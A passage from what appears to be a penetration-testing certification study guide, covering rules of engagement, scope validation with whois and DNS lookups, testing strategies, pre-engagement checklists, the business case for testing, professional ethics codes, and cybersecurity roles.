Disruption to production systems if critical systems are accidentally impacted

For the business relationship:

Contract disputes over deliverables
Engagement termination
Legal action between parties

2.2.2 Rules of Engagement (ROE)

Rules of Engagement (ROE) define the specific technical and procedural parameters within which a penetration test will be conducted. ROE documents translate the high-level scope defined in the SOW into specific, actionable guidelines for the testing team.

Why ROE Documents are Critical

The ROE document serves multiple functions:

Legal protection — Provides specific authorization for specific actions at specific times
Technical guidance — Tells testers exactly what they can and cannot do
Client protection — Ensures the client has full visibility and control over the test
Emergency procedures — Defines how to immediately stop the test if needed
Communication framework — Establishes clear lines of communication between testing and client teams

Key Elements of ROE Documents

Testing Window:
Specific dates and times when testing is authorized. This is critical because:

Testing outside authorized windows is unauthorized
Production systems may have maintenance windows during which testing is prohibited
Time zone differences must be explicitly specified (e.g., "UTC-5 / Eastern Standard Time")

Authorized IP Ranges:
The exact IP addresses or CIDR blocks that may be targeted. This must be precise — testing a single unauthorized IP address is potentially a criminal act.

Authorized Target IP Ranges:
  10.0.0.0/8 (internal corporate network)
  192.168.1.0/24 (DMZ)
  203.0.113.50 (external web server)

Out-of-Scope IP Ranges:
  10.100.0.0/16 (production payment processing — DO NOT TEST)
  10.200.0.0/24 (hospital network — DO NOT TEST)

Authorized Testing Methods:

Method	Included in Scope?
Network port scanning	✓ Yes
Vulnerability scanning	✓ Yes
Web application testing	✓ Yes
Social engineering (phishing)	✓ Yes (with limits)
Physical security testing	✗ No
Denial of Service testing	✗ No
Ransomware simulation	✓ Yes (contained environment only)

Emergency Stop (Kill Switch) Procedure:

The ROE must define a clear procedure for immediately halting all testing activity. This typically includes:

A designated client emergency contact with 24/7 availability
A designated tester emergency contact
A code word or phrase that immediately stops all testing
A procedure for the tester to confirm test suspension and document the state of testing at the time of suspension

Example:

"In the event the client wishes to immediately suspend testing, the emergency contact [NAME] may be reached at [PHONE] 24 hours a day, 7 days a week. Upon receipt of a suspension request, the testing team will immediately cease all testing activities and will not resume without written authorization."

Tester IP Addresses (Whitelist):

The testing team's IP addresses should be provided to the client so that the client's security operations team can distinguish legitimate testing activity from actual attacks. However, careful consideration is needed:

In a black box test (unknown environment), providing tester IPs may compromise the realism of the test
In a grey box or white box test, whitelist IPs are typically provided

Communication Protocol:

Designated points of contact on both sides
Communication methods (encrypted email, Signal, phone)
Frequency of status updates
Escalation path for critical findings

2.2.3 Target List and In-Scope Assets

Defining in-scope assets with precision is one of the most technically demanding aspects of scoping. The tester must work with the client to produce a comprehensive, unambiguous list of assets that are authorized for testing.

Asset Categories

Network Infrastructure:

Routers, switches, firewalls, load balancers
VPN concentrators and endpoints
Wireless access points
Network-attached storage (NAS) devices
Out-of-band management interfaces (IPMI, iDRAC, iLO)

Servers:

Web servers (Apache, Nginx, IIS)
Database servers (MySQL, PostgreSQL, MSSQL, Oracle)
Application servers (Tomcat, WebLogic, JBoss)
Mail servers (Exchange, Postfix)
File servers (Windows Server, Samba)
DNS servers
Directory servers (Active Directory, LDAP)
DHCP servers

Endpoints:

Workstations (Windows, macOS, Linux)
Laptops
Mobile devices (if in scope)
Industrial control system (ICS) workstations

Web Applications and APIs:

Public-facing websites
Internal web applications
REST APIs
SOAP web services
GraphQL endpoints
Mobile application backends

Cloud Resources:

AWS EC2 instances, S3 buckets, RDS instances
Azure Virtual Machines, Blob Storage, SQL databases
GCP Compute Engine instances, Cloud Storage
Serverless functions (Lambda, Azure Functions, Cloud Functions)
Container orchestration (Kubernetes clusters)
Identity and access management (IAM) configurations

Authentication Systems:

Active Directory / LDAP
Single Sign-On (SSO) providers
Multi-Factor Authentication (MFA) systems
Certificate Authority (CA) infrastructure

Industrial Control Systems (ICS) / SCADA:

Programmable Logic Controllers (PLCs)
Human-Machine Interfaces (HMIs)
SCADA servers
Industrial switches and routers

Note: ICS/SCADA systems require extreme caution — testing errors can cause physical damage to equipment or endanger human safety. Special expertise and enhanced ROE controls are required.

Creating the Target List

The target list should be documented in a format that is:

Specific — IP addresses, not just network names
Version-specific — OS versions, application versions (for better testing accuracy)
Complete — all relevant assets included
Cross-referenced — mapped to business function (helps with impact assessment)

Example Target List Format:

Asset	IP Address	OS/Technology	Version	Business Function	Priority
Web Server 01	203.0.113.50	Ubuntu Linux	22.04 LTS	Customer-facing website	High
DB Server 01	10.0.1.20	Windows Server	2019	Customer database	Critical
VPN Gateway	203.0.113.51	Cisco ASA	9.16.x	Remote access	High
Internal Wiki	10.0.2.100	Confluence	7.13.x	Internal documentation	Medium

Validating Asset Ownership

Before testing any asset, the tester should validate:

IP ownership — WHOIS lookup to confirm the IP is registered to the client organization
Domain ownership — DNS records and registrar information
Cloud resource ownership — Cloud provider tags, account IDs, and access confirmations
Third-party hosted assets — Confirmation from the hosting provider that the client controls the asset and has authorized testing

2.2.4 Validating the Scope of Engagement

Scope validation is an active process that occurs throughout the pre-engagement phase and continues during the test itself.

Pre-Engagement Scope Validation

Step 1: Client Verification

The tester must confirm that the person authorizing the engagement has the legal authority to do so. Practical verification methods include:

Confirming organizational title and role (request a business card or organizational chart)
Having legal counsel on both sides review and sign the agreement
For corporate engagements, requesting a board resolution or C-suite sign-off for high-value or broad-scope tests

Step 2: IP Address Verification

Before testing any IP address, verify that it belongs to the client:

# WHOIS lookup for IP ownership
whois 203.0.113.50

# Check IP registration with ARIN (North America)
# https://search.arin.net

# Check IP registration with RIPE NCC (Europe)
# https://www.ripe.net/manage-ips-and-asns/db/tools/ripe-database-query

# Check IP registration with APNIC (Asia-Pacific)
# https://www.apnic.net

Step 3: Domain Verification

# DNS lookup to verify domain ownership
whois targetdomain.com
nslookup targetdomain.com
dig targetdomain.com

# Verify SSL certificate ownership
openssl s_client -connect targetdomain.com:443 | openssl x509 -noout -subject

Step 4: Cloud Resource Verification

For cloud resources, the client should provide:

AWS Account ID for EC2 instances, S3 buckets, or other resources
Azure Subscription ID
GCP Project ID

These identifiers allow the tester to verify ownership and, where cloud provider penetration testing policies require notification, to register the test.

Cloud Provider Penetration Testing Policies

Each major cloud provider has specific policies governing penetration testing of their platforms:

Amazon Web Services (AWS):

AWS allows customers to perform security assessments against their own AWS resources without prior approval for most services
Certain activities are prohibited: DDoS attacks against AWS infrastructure, port flooding, protocol flooding, request flooding
AWS has a vulnerability reporting program for AWS-owned infrastructure
Customers must not test other AWS customers' resources
Reference: https://aws.amazon.com/security/penetration-testing/

Microsoft Azure:

Microsoft allows penetration testing against Azure resources under their Penetration Testing Rules of Engagement
Customers must notify Microsoft in advance for specific types of testing
Multi-tenant services require special consideration
Reference: https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement

Google Cloud Platform (GCP):

Google allows security testing of applications hosted on GCP without prior notification
Attacks on GCP infrastructure itself are prohibited
Testing must comply with Google's Acceptable Use Policy
Reference: https://cloud.google.com/security/best-practices

Critical Point: Failure to comply with cloud provider penetration testing policies can result in account suspension, termination of service, and potentially law enforcement involvement, as the provider may interpret testing as an unauthorized attack on their infrastructure.

2.2.5 Strategy — Unknown vs. Known Environment Testing

One of the most important strategic decisions in penetration testing is how much information the testing team is given about the target environment before the engagement begins.

Black Box Testing (Unknown Environment)

Definition: The penetration tester is given no prior information about the target environment. The tester must gather all intelligence through open-source intelligence (OSINT) and active reconnaissance, simulating the perspective of an external attacker who has no insider knowledge.

Also known as: Zero-knowledge testing, external testing, outsider threat simulation

Information Provided to Tester:

Only: The name of the organization and/or a domain name or IP range

What the Tester Must Discover:

Network topology
IP address ranges
Open ports and services
Operating systems and versions
Application frameworks and versions
Authentication mechanisms
Business logic

Advantages:

Simulates the most realistic external attacker scenario
Finds vulnerabilities that are discoverable without inside knowledge
Tests the effectiveness of the organization's external perimeter
Reveals what an attacker could discover through OSINT

Disadvantages:

Time-intensive reconnaissance phase
Higher cost (more hours required)
May miss internal vulnerabilities
Risk of testing out-of-scope systems due to discovery of unknown assets
Testing team may spend significant time on assets that are not priority targets

Best Used For:

External network penetration tests
Red team exercises simulating advanced persistent threats (APTs)
Testing the effectiveness of publicly facing systems

White Box Testing (Known Environment / Full Knowledge)

Definition: The penetration tester is provided with comprehensive documentation about the target environment, including network diagrams, system configurations, source code (for application testing), and potentially valid credentials.

Also known as: Crystal box testing, full-knowledge testing, transparent testing

Information Provided to Tester:

Network diagrams and IP addressing schemes
System inventories (OS versions, application versions, patch levels)
Firewall rules and ACL configurations
Application source code (for SAST — Static Application Security Testing)
Valid user credentials (for authenticated testing)
Prior vulnerability scan results

Advantages:

Highly efficient — minimal time wasted on reconnaissance
Comprehensive coverage — testers know what to look for
Better depth of testing within limited time budgets
Ideal for code reviews and configuration audits
Finds vulnerabilities that require inside knowledge (logic flaws, misconfigurations)

Disadvantages:

Does not simulate a realistic external attacker scenario
Testers may unconsciously focus on documented systems and miss undocumented "shadow IT"
Client must invest significant time in documentation preparation
High documentation accuracy dependency — inaccurate docs lead to poor test coverage

Best Used For:

Application security testing (with source code review)
Internal network assessments
Compliance-driven assessments (PCI DSS, HIPAA) requiring comprehensive coverage
Configuration reviews
Code audits

Grey Box Testing (Partial Knowledge)

Definition: The penetration tester is provided with some information about the target environment — typically more than an external attacker would have, but less than full documentation. This hybrid approach is the most commonly used strategy in professional penetration testing.

Information Typically Provided:

IP address ranges (but not full network diagrams)
Limited credential sets (e.g., a standard user account but not admin)
Application URLs and entry points (but not source code)
High-level system inventory (but not configurations)

Advantages:

Balances realism with efficiency
Simulates an insider threat or a partially compromised account
More cost-effective than black box testing while providing more realistic results than white box
Allows testers to quickly validate in-scope assets without extensive reconnaissance

Disadvantages:

Does not perfectly simulate any specific threat actor
Partial information can create blind spots
Client documentation requirements still exist

Best Used For:

Most standard penetration testing engagements
Internal threat simulations
Web application penetration testing
Testing with specific threat models (e.g., "what can a regular employee do?")

Comparison Table

Factor	Black Box	Grey Box	White Box
Information Given	None	Partial	Full
Realism	Highest (external threat)	Moderate (insider threat)	Lowest
Efficiency	Lowest	Moderate	Highest
Cost	Highest	Moderate	Variable
Coverage Depth	Perimeter-focused	Balanced	Comprehensive
Time Required	Most time	Moderate	Most efficient
Typical Use Case	Red team, external test	General pentesting	Code review, compliance
Vulnerability Discovery	External attack paths	Lateral movement	Logic flaws, misconfigs

2.2.6 Pre-Engagement Scope and Planning

The pre-engagement phase involves a series of activities that must be completed before any testing begins.

Pre-Engagement Checklist

Legal Documentation:

[ ] MSA executed (or standalone contract for one-time engagements)
[ ] SOW executed with specific scope, timeline, and deliverables
[ ] NDA executed by all parties and relevant personnel
[ ] ROE document finalized and signed
[ ] Cloud provider notification completed (if applicable)
[ ] Third-party service provider authorization obtained (if applicable)
[ ] BAA executed (if healthcare environment)
[ ] DPA executed (if EU personal data may be encountered)

Scope Documentation:

[ ] Target list finalized with IP addresses, hostnames, and applications
[ ] Out-of-scope items explicitly documented
[ ] IP address ownership verified (WHOIS)
[ ] Domain ownership verified
[ ] Cloud resource ownership verified
[ ] Testing windows confirmed and documented in writing

Technical Preparation:

[ ] Testing team IP addresses provided to client (if whitelist required)
[ ] Emergency stop procedure tested and confirmed
[ ] Secure communication channel established with client POC
[ ] Testing environment prepared (VMs, tools, network access)
[ ] Initial kickoff call completed with all stakeholders

Business Preparation:

[ ] Budget and pricing confirmed
[ ] Reporting format and deliverables agreed upon
[ ] Report delivery deadline confirmed
[ ] Retest procedures discussed and budgeted

Kickoff Meeting

The pre-engagement kickoff meeting is a critical milestone. It brings together the testing team and the client's key stakeholders to align on all aspects of the engagement before testing begins.

Attendees (Client Side):

CISO / ISM — Overall responsibility for the engagement
CIO or CTO — Executive authorization
System Owners — Teams responsible for in-scope systems
IT Operations — Coordination for potential false positive alerts
Legal Counsel — Confirmation of authorization and liability framework
Security Operations Center (SOC) — Awareness of testing to prevent false escalations

Attendees (Testing Team):

Project Manager / Engagement Manager — Overall engagement coordination
Lead Penetration Tester — Technical lead
Additional Testers — If multiple specializations are required

Kickoff Meeting Agenda:

Introductions and roles
Review and confirmation of SOW scope
Review and confirmation of ROE
Emergency stop procedure confirmation
Communication protocol confirmation
Technical access requirements (VPN access for internal testing)
Questions and clarifications
Formal authorization confirmation

2.2.7 Creating a Penetration Testing Agreement

A penetration testing agreement is the formal collection of all contractual documents governing the engagement. In practice, this is not a single document but a package:

MSA (if not already in place)
SOW — Specific to this engagement
NDA (if not included in MSA)
ROE Document — Technical parameters
Authorization Letter / Permission to Test Letter — Explicit authorization

The Permission to Test Letter (Get Out of Jail Free Card)

Penetration testers should always carry with them, either physically or digitally, a copy of the authorization document for the current engagement. If law enforcement or security personnel challenge the testing activity, this document demonstrates legal authorization.

The letter should include:

Client organization name and address
Testing firm name and address
Names of authorized testers (and potentially their IDs)
Authorized target systems (IP ranges, domains)
Authorized testing timeframe
Emergency contact information
Signature of authorized client representative (with title)
Date

This document is sometimes colloquially referred to as a "get out of jail free card" — while hyperbolic, the concept is accurate: it is the tester's primary legal defense in the event of a misunderstanding.

2.2.8 Business Justification — ROI of Penetration Testing

Penetration testing is a significant investment. A comprehensive enterprise penetration test can cost anywhere from $10,000 to $500,000 or more depending on scope, complexity, and duration. Justifying this investment to organizational leadership requires a clear understanding of the business case.

Questions Clients Ask — and How to Answer Them

"How do I justify the full cost of a penetration test to my executive team?"

Frame penetration testing as risk reduction with quantifiable value:

Regulatory compliance cost avoidance — Fines for non-compliance (PCI DSS up to $100K/month, GDPR up to 4% of global revenue, HIPAA up to $1.9M/year per violation type) dramatically exceed the cost of a penetration test.
Breach cost comparison — IBM Cost of a Data Breach Report 2023 puts the average cost of a data breach at $4.45 million globally. A penetration test that discovers and enables remediation of a critical vulnerability costs a fraction of a breach.
Cyber insurance premium reduction — Many cyber insurance carriers now offer premium reductions for organizations that conduct regular penetration testing, as it demonstrates a proactive security posture.
Business continuity preservation — Downtime costs are quantifiable. If a ransomware attack encrypts production systems, the cost per hour of downtime (lost revenue, recovery costs, reputational damage) can exceed the annual penetration testing budget.

"We already have firewalls, antivirus, and vulnerability scanners. Why do we need a penetration test?"

Technical controls do not test themselves. The value of penetration testing over vulnerability scanning:

Vulnerability Scanning	Penetration Testing
Identifies known vulnerabilities	Actively exploits vulnerabilities to confirm impact
Does not chain vulnerabilities	Demonstrates multi-step attack paths
Cannot discover logic flaws	Discovers business logic vulnerabilities
Cannot test human factors	Tests social engineering resistance
Point-in-time snapshot	Reveals real attacker capability
Does not test compensating controls	Tests whether controls actually work together

Firewalls and antivirus are controls — penetration testing validates that those controls are effective under real attack conditions.

"How can I integrate penetration testing as a success factor?"

Penetration testing should be integrated into:

SDLC (Software Development Life Cycle) — Application penetration testing before production deployment (shift-left security)
Change management — Testing required after significant infrastructure changes
M&A due diligence — Security assessment of acquired organizations
Compliance cycles — Annual testing as a compliance requirement
Incident response — Post-incident testing to verify remediation

"Can I do this myself (with internal resources)?"

Internal penetration testing is possible but has significant limitations:

Objectivity bias — Internal testers may unconsciously avoid testing systems they are responsible for, or overlook issues they helped create
Skill breadth — A full-scope penetration test requires expertise across network security, web application security, social engineering, physical security, cloud security, and more
Regulatory requirements — PCI DSS explicitly requires an external qualified assessor for external penetration testing
Tool licensing — Commercial penetration testing tool suites are expensive
Time — Skilled internal security staff are already managing day-to-day operations
Independence — Compliance frameworks generally require independent assessment

A hybrid approach (internal team supported by external specialists) is often the optimal solution.

"How do I calculate the ROI of penetration testing?"

ROI Formula for Penetration Testing:

ROI = (Risk Reduction Value − Cost of Penetration Test) / Cost of Penetration Test × 100%

Risk Reduction Value Calculation:

Risk Reduction Value = Annual Loss Expectancy (ALE) Before Test − ALE After Remediation

ALE = Annual Rate of Occurrence (ARO) × Single Loss Expectancy (SLE)

SLE = Asset Value × Exposure Factor

Simplified Example:

A critical web application has a 30% annual probability of being compromised (ARO = 0.30)
A successful compromise would cost $2,000,000 in breach costs, downtime, and regulatory fines (SLE = $2,000,000)
ALE Before Test = 0.30 × $2,000,000 = $600,000
The penetration test costs $50,000 and identifies vulnerabilities that, when remediated, reduce breach probability to 5%
ALE After Remediation = 0.05 × $2,000,000 = $100,000
Risk Reduction Value = $600,000 − $100,000 = $500,000
ROI = ($500,000 − $50,000) / $50,000 × 100% = 900%

Questions the Penetration Tester Must Answer

"How do I account for all engagement line items without exceeding budget?"

Professional penetration testing pricing models:

Model	Description	Best For
Fixed-price	Flat fee for defined scope	Well-defined scope, compliance assessments
Time and Materials (T&M)	Hourly/daily rate for actual time spent	Exploratory assessments, unclear scope
Retainer	Monthly fee for ongoing availability	Organizations requiring continuous testing
Risk-based pricing	Pricing based on the value of assets being protected	High-value targets, financial sector

Budget line items to include:

Planning and scoping (10-15% of total)
Reconnaissance and OSINT
Vulnerability discovery and exploitation
Post-exploitation and lateral movement
Report writing and documentation
Debrief and presentation
Retest (after remediation) — typically 20-30% of initial test cost
Travel and expenses (for on-site testing)
Tool licensing costs
Legal review (if required)

"How do I clearly show the client the ROI?"

Best practices for demonstrating ROI in reports:

Executive Summary — Non-technical section quantifying risk reduction and business impact
Risk Register — Mapping each finding to business risk in financial terms
Compliance Gap Analysis — Showing which regulatory requirements were addressed
Before/After Comparison — If a retest was conducted, quantify improvement
Benchmark Comparison — Compare client's security posture to industry benchmarks

2.3 Demonstrating an Ethical Hacking Mindset by Maintaining Professionalism and Integrity

2.3.1 Overview — The Professional Ethical Hacker

The word "ethical" in "ethical hacker" is not decorative — it is fundamental. An ethical hacker possesses the same technical skills as a malicious hacker but applies them within a framework of professional ethics, legal authorization, and a commitment to improving security rather than exploiting it.

The ethical hacker operates with three foundational principles:

Authorization — Never access a system without explicit, documented permission
Confidentiality — Protect all information obtained during testing with the same care as classified material
Integrity — Report findings honestly and completely, even when findings are uncomfortable for the client

An ethical hacker who discovers nothing notable in a penetration test should report exactly that — not embellish findings to justify fees, and not downplay findings to maintain a client relationship.

2.3.2 Ethical Frameworks and Decision-Making Models

Ethical dilemmas arise regularly in penetration testing. An ethical hacker needs a structured framework for making decisions when the right course of action is not immediately obvious.

Utilitarian Ethics (Consequentialist Ethics)

Core Principle: The morally right action is the one that produces the greatest good for the greatest number of people.

Application in Penetration Testing:

When deciding whether to escalate a discovered vulnerability during a test:

Utilitarian calculation: Would disclosing this now (even outside normal reporting) prevent greater harm to more people?
Example: If a tester discovers an actively exploited zero-day vulnerability during a test, the utilitarian calculus may favor immediate disclosure to the client even if it disrupts the test timeline, because the potential harm from continued exploitation outweighs the inconvenience.

Limitation: Purely utilitarian thinking can be used to justify problematic actions if the outcome is deemed sufficiently beneficial. ("I'll exploit this unrelated server because finding evidence of a breach will ultimately help more people.")

Rights-Based Ethics (Deontological Ethics)

Core Principle: Certain rights are fundamental and must be respected regardless of the consequences. The morally right action is one that respects the rights of all individuals involved.

Application in Penetration Testing:

Individuals whose data is encountered during a test have a right to privacy, regardless of how that data is technically accessible
The organization being tested has a right to accurate, honest reporting, regardless of commercial pressures
Third parties whose systems are discovered to be connected to the target have a right not to have their systems accessed without authorization, even if accessing them would provide valuable information

Rights-based thinking in action: A penetration tester discovers credentials that would give access to a third-party vendor's systems. Even though this would be technically possible and potentially revealing, the third party's right to security of their systems prohibits accessing them without authorization.

Common Good Approach (Communitarian Ethics)

Core Principle: Ethical action is that which promotes the well-being of the community as a whole. Individuals are members of a community, and actions should strengthen social institutions and benefit all community members.

Application in Penetration Testing:

The cybersecurity community has an obligation to share knowledge about vulnerabilities in a responsible way (coordinated disclosure)
Penetration testers contribute to the common good by helping organizations improve their security, thereby protecting users, customers, and society
Vulnerability disclosure decisions should consider the impact on the entire user community of an affected software product, not just the immediate client

Responsible Disclosure / Coordinated Vulnerability Disclosure (CVD):

When a penetration tester discovers a vulnerability in a vendor's product (not just the client's implementation), ethical obligations extend beyond the client:

Notify the vendor of the vulnerability
Allow the vendor a reasonable timeframe to develop and release a patch (typically 90 days — Google Project Zero standard)
Coordinate public disclosure after the patch is available
Do not publicly disclose vulnerability details until a patch is available (or the disclosure deadline passes)

Justice / Fairness Approach

Core Principle: Ethical action treats all individuals fairly and does not favor some individuals over others based on arbitrary distinctions. What is right is what treats all parties consistently.

Application in Penetration Testing:

Reporting findings consistently regardless of whether the findings reflect poorly on someone with decision-making power over the testing firm's contract
Applying the same level of thoroughness to all clients, regardless of their fee level
Not providing favorable reporting to clients who hint at continued business versus accurate reporting

The Fairness Test: "Would I be comfortable if my most respected peer in the industry reviewed exactly what I did and why?" If the answer is no, reconsider.

The ISSA Code of Ethics

The Information Systems Security Association (ISSA) Code of Ethics requires members to:

Perform all professional activities and duties in accordance with applicable laws
Not engage in any activities that would be considered unethical or that would bring reproach upon the profession
Protect the privacy and confidentiality of information obtained in the course of professional activities
Disclose to appropriate parties information that may place others at risk
Maintain the highest standards of professional conduct

EC-Council Code of Ethics

The EC-Council (International Council of E-Commerce Consultants) Code of Ethics — governing body for the CEH (Certified Ethical Hacker) certification — requires certified professionals to:

Keep client information confidential
Never access a computer system without permission
Not use their knowledge to harm others
Report all relevant information found during a penetration test
Respect intellectual property rights
Uphold the dignity of the security profession

(ISC)² Code of Ethics

The (ISC)² Code of Ethics — governing body for CISSP, CCSP, and other certifications — is built on four mandatory canons (in priority order):

Protect society, the common good, necessary public trust and confidence, and the infrastructure
Act honorably, honestly, justly, responsibly, and legally
Provide diligent and competent service to principals (clients, employers)
Advance and protect the profession

The priority ordering matters: if following canon 3 (serving a client) would require violating canon 1 (protecting society), the ethical professional must prioritize society over the client.

2.3.3 Personal Code of Conduct

A professional ethical hacker should internalize a personal code of conduct that governs their behavior both during engagements and in their broader professional activities.

Core Behavioral Commitments

1. Authorization First, Always

Never begin any testing activity without confirmed, written authorization. If authorization is unclear, stop and seek clarification. When in doubt, don't.

"The question to ask is not 'Can I get away with this?' but 'Do I have explicit authorization to do this?'"

2. Confidentiality as a Sacred Obligation

Information discovered during a penetration test is confidential. This means:

Do not discuss specific client vulnerabilities with colleagues who are not on the engagement team
Do not use client systems or information for personal gain
Do not retain client data beyond what is necessary for reporting
Secure destroy all client data at the end of the engagement as specified in the contract
Do not disclose the identity of clients without explicit consent (many organizations prefer not to publicly disclose that they conduct penetration testing)

3. Honesty in Reporting

Report findings as they are — not filtered through what the client wants to hear. Professional reporting includes:

Reporting all findings, including minor ones
Accurately describing the exploitability and impact of findings
Not embellishing the severity of findings
Not minimizing findings under client pressure
Clearly communicating uncertainty when the impact of a finding is unclear

4. Minimal Footprint Principle

During testing, the ethical hacker should avoid:

Leaving unnecessary artifacts (backdoors, created accounts, uploaded tools) on tested systems
Accessing, copying, or retaining more data than necessary to demonstrate the vulnerability
Creating system changes that are not necessary for testing
Causing service disruption beyond what is necessary and authorized

At the end of the engagement, all artifacts created during testing must be removed, and all changes must be reversed or documented for the client to reverse.

5. Disclosure of Incidental Findings

During a penetration test, the tester may discover evidence of prior breaches, insider threats, or criminal activity (child exploitation material, fraud, evidence of data theft). These situations require careful handling:

Prior breach evidence: Immediately notify the client. Document the evidence without interfering. The client's incident response team and legal counsel must be involved immediately.
Criminal activity evidence: Stop testing immediately. Notify the client. Consult your own legal counsel. Do not destroy or tamper with evidence. Depending on the jurisdiction and nature of the crime, mandatory reporting to law enforcement may be required.

The key principle: these situations are outside the scope of the engagement. The ethical hacker's role is to stop, document, notify, and defer to the client's legal counsel.

6. Continuous Professional Development

The threat landscape evolves constantly. An ethical hacker who stops learning becomes a liability. Professional commitment includes:

Maintaining certifications through continuing education
Staying current with vulnerability disclosures (CVE databases, vendor security advisories)
Participating in the security community (conferences, CTFs, open-source contributions)
Sharing knowledge responsibly within the community

2.4 Key Roles, Titles, and Organizational Structures in Cybersecurity

Understanding the organizational hierarchy and role definitions is essential for penetration testers who must communicate findings across different levels of a client organization and navigate the approval and contracting processes.

Executive Roles

CISO — Chief Information Security Officer

The CISO is the senior executive responsible for establishing and maintaining the organization's vision, strategy, and program to ensure information assets and technologies are adequately protected.

Responsibilities:

Developing and implementing the information security strategy
Managing the security team and budget
Reporting security posture to the Board of Directors and C-suite
Overseeing incident response and breach management
Managing relationships with regulators and auditors
Authorizing penetration testing engagements
Reviewing and acting on penetration test findings

Penetration Testing Interaction:
The CISO is typically the person who authorizes penetration testing engagements and receives the executive summary of findings. When critical vulnerabilities are discovered, the CISO is the first executive to be notified.

CIO — Chief Information Officer

The CIO is responsible for the company's information technology and computer systems. The CIO focuses on IT strategy, digital transformation, and ensuring that technology investments support business objectives.

Relationship to Security:
The CISO may report to the CIO, or the CISO may report directly to the CEO (a more security-mature organizational model). The CIO and CISO must collaborate on the security implications of IT decisions.

Penetration Testing Interaction:
The CIO may be the signing authority for penetration testing contracts (particularly in organizations where the CISO reports to the CIO). Infrastructure and network penetration test findings typically have CIO-level business impact that must be communicated in executive reporting.

CTO — Chief Technology Officer

The CTO is responsible for the organization's technological needs and its research and development (R&D). The CTO typically focuses on external technology direction — product development, emerging technology strategy, and technical partnerships.

Relationship to Security:
In technology companies, the CTO may own the product development environment and the underlying technology platform. Application security findings from web application penetration tests are highly relevant to the CTO.

Penetration Testing Interaction:
Penetration test findings related to product security, API security, and development practices are often communicated to the CTO.

ISM — Information Security Manager

The Information Security Manager (sometimes called Security Manager or IT Security Manager) is a mid-level management role responsible for implementing and managing the day-to-day information security program.

Responsibilities:

Managing security analysts and engineers
Implementing CISO-directed security strategy
Coordinating security assessments and penetration tests
Overseeing vulnerability management
Reporting to CISO

Penetration Testing Interaction:
The ISM is often the primary client point of contact for the operational aspects of a penetration testing engagement. They coordinate logistics, provide technical information during scoping, and receive and action the technical findings report.

Security Operations Roles

SOC Analyst (L1, L2, L3)

Security Operations Center (SOC) analysts monitor, detect, investigate, and respond to cybersecurity incidents in real-time.

Level	Responsibilities
L1 (Tier 1)	Alert triage, initial investigation, ticket creation, escalation
L2 (Tier 2)	Deep investigation, incident response, malware analysis, escalation to L3
L3 (Tier 3)	Advanced threat hunting, forensic analysis, tool development, mentoring L1/L2

Penetration Testing Interaction:
During a penetration test, the SOC team needs to be aware that testing is occurring (in most engagement types) to avoid escalating test activities as real incidents. Some engagements (red team exercises) intentionally do not notify the SOC, testing their detection and response capabilities.

Threat Intelligence Analyst

Responsible for collecting, analyzing, and distributing threat intelligence to support security decision-making. Threat intelligence analysts track threat actors, campaigns, tactics, techniques, and procedures (TTPs), and indicators of compromise (IOCs).

Relevance to Penetration Testing:
The threat intelligence analyst can provide testers with context about which threat actors are most relevant to the client's industry and geography, enabling threat-informed penetration testing that simulates the most realistic attacker profiles.

Incident Responder (IR Analyst / DFIR)

Digital Forensics and Incident Response (DFIR) specialists investigate security incidents, determine root cause, contain threats, and support recovery.

Relevance to Penetration Testing:
Post-engagement, the IR team implements remediation. If the penetration tester discovers evidence of a live breach, the IR team takes over. Some red team exercises include a purple team element where the IR team's detection and response capabilities are explicitly tested.

Assessment and Compliance Roles

Penetration Tester

The primary role this certification prepares candidates for.

Common Job Titles:

Penetration Tester
Security Analyst (Offensive)
Ethical Hacker
Red Team Operator
Vulnerability Assessor
Security Consultant (Offensive)

Specializations:

Network penetration tester
Web application penetration tester
Mobile application penetration tester
Cloud penetration tester
Social engineering specialist
Physical penetration tester
ICS/SCADA penetration tester
Red team operator (advanced, APT simulation)

Career Progression:

Junior Penetration Tester → Penetration Tester → Senior Penetration Tester → 
Lead Penetration Tester → Red Team Lead → Security Director (Offensive) / CISO

Red Team vs. Blue Team vs. Purple Team

Team	Role	Focus
Red Team	Simulates adversaries — attacks the organization using real-world TTPs	Offense: find weaknesses before attackers do
Blue Team	Defends the organization — detects, responds to, and prevents attacks	Defense: detect and stop attacks
Purple Team	Integrates red and blue team activities to maximize learning — real-time collaboration	Optimization: improve both attack simulation and defense simultaneously

QSA — Qualified Security Assessor (PCI DSS)

QSAs are companies and individuals certified by the PCI Security Standards Council to perform PCI DSS compliance assessments. They:

Assess compliance of merchant and service provider environments with PCI DSS
Produce Report on Compliance (ROC) — the formal compliance assessment document
Validate remediation of non-compliant items

Penetration testers frequently work alongside QSAs in PCI DSS environments, with testers providing technical validation and QSAs providing compliance assessment.

PFI — PCI Forensic Investigator

PFIs are certified by the PCI SSC to investigate payment card data breaches. Their responsibilities include:

Determining if cardholder data was compromised
Identifying how the breach occurred
Documenting findings in a formal Final Incident Response Report
Preserving forensic evidence in accordance with legal requirements

ISA — Internal Security Assessor (PCI DSS)

ISAs are individuals certified by the PCI SSC to conduct self-assessments of their own organization's PCI DSS compliance. Unlike QSAs, ISAs are employees of the organization they assess.

Documentation and Report Recipients

Understanding who will read the penetration test report determines how it should be written and structured.

Report Audience Tiers

Tier 1: Executive Audience (CISO, CIO, CTO, CEO, Board)

Executive Summary: Business risk, compliance impact, strategic recommendations
No technical jargon
Risk quantified in financial and business terms
Key metrics: number of critical findings, risk level, compliance status

Tier 2: Management Audience (ISM, Security Managers, IT Directors)

Management Summary: Overview of findings by risk level, remediation priorities
Some technical context
Resource requirements for remediation

Tier 3: Technical Audience (System Administrators, Developers, Security Engineers)

Technical Findings: Detailed vulnerability descriptions, evidence, and remediation steps
Full technical detail: CVE numbers, CVSS scores, proof-of-concept details, affected versions
Step-by-step remediation guidance

2.5 Cloud Environments and Their Implications for Scoping

Modern enterprises are hybrid environments. A comprehensive penetration test must account for cloud resources.

AWS — Amazon Web Services

The world's leading cloud platform by market share. Key AWS services relevant to penetration testing scope:

Service	Description	Penetration Testing Relevance
EC2	Elastic Compute Cloud — virtual machines	Primary compute targets for network-level testing
S3	Simple Storage Service — object storage	Misconfiguration frequently leads to public data exposure
RDS	Relational Database Service	Database compromise, SQL injection targets
Lambda	Serverless compute functions	Serverless-specific vulnerabilities, injection, privilege escalation
IAM	Identity and Access Management	Over-privileged roles, key exposure, privilege escalation
VPC	Virtual Private Cloud — isolated network	Network segmentation, firewall rule testing
EKS	Elastic Kubernetes Service	Container escape, pod security, RBAC misconfigurations
API Gateway	Managed API service	API security testing, authentication bypass
